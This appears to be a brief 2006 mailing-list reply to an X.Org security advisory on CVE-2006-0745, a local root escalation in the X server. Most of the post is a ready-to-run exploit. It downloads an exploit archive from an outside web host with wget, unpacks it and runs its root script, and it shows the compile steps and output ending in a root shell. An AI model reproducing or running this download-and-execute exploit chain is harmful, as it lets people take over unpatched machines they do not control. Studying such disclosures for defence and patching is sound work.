Two second exploit, but if anyone is lazy: $ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz $ tar -zpxvf xmodulepath.tgz $ cd xmodulepath $ ./root.sh /bin/rm -f exploit.o exploit.so shell *.o *.so gcc -fPIC -c exploit.c gcc -shared -nostdlib exploit.o -o exploit.so gcc -o shell shell.c X Window System Version 7.0.0 Release Date: 21 December 2005 X Protocol Version 11, Revision 0, Release 7.0 [ snip ] r00t # id uid=0(root) gid=100(users) groups=10(wheel),18(audio)... On Monday 20 March 2006 08:00, Daniel Stone wrote: > X.Org Security Advisory, March 20th 2006 > Local privilege escalation in X.Org server 1.0.0 and later; X11R6.9.0 > and X11R7.0 > CVE-ID: CVE-2006-0745